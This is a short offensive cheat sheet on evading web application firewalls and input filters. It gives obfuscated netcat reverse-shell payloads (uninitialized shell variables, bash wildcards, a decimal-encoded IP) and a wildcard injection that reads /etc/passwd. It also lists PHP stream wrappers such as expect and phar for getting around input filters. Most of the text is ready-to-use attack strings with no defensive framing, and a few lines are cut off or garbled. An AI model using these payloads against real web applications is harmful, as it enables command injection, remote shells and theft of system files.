Web Filter Bypass
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Uninitialized shell variables can be used for bypassing web application firewalls (WAF). Example: bypassing a filter to execute a reverse shell - nc$u -e /bin$u/bash$u <ip> <port>. If this doesn't work try adding spaces before and after the variable (note the +'s, this example is also URL encoded): nc+$u++-e+/bin$u/bash$u <ip> <port> ($u in this case is a random attacker-picked variable that would hopefully be uninitialized on the target).
Bypass web filters by using bash wildcards:/???/?s /?cmd=%2f???%2f??t%20%2f???%2fp??s?? will bypass...and execute every command that matches. such as /bin/cat /etc/apt, and /bin/cat /etc/passwd
netcat firewall bypass: /???/n? -e /???/b??h 2130706433 1337 (/???/?c.??????????? -e /???/b??h 2130706433 1337 for nc traditional)
It is still understood by most programs and languages when converted to other formats, such as decimal, and avoids . character in filtered HTTP requests: 127.0.0.1 = 2130706433
Injecting IPs when . is disallowed: convert dotted-decimal format to decimal value -
From php://filter/ has multiple ways to bypass PHP input filters ;These can be chained with | or / : zip, data, expect, input, phar; many more different wrappers to try!
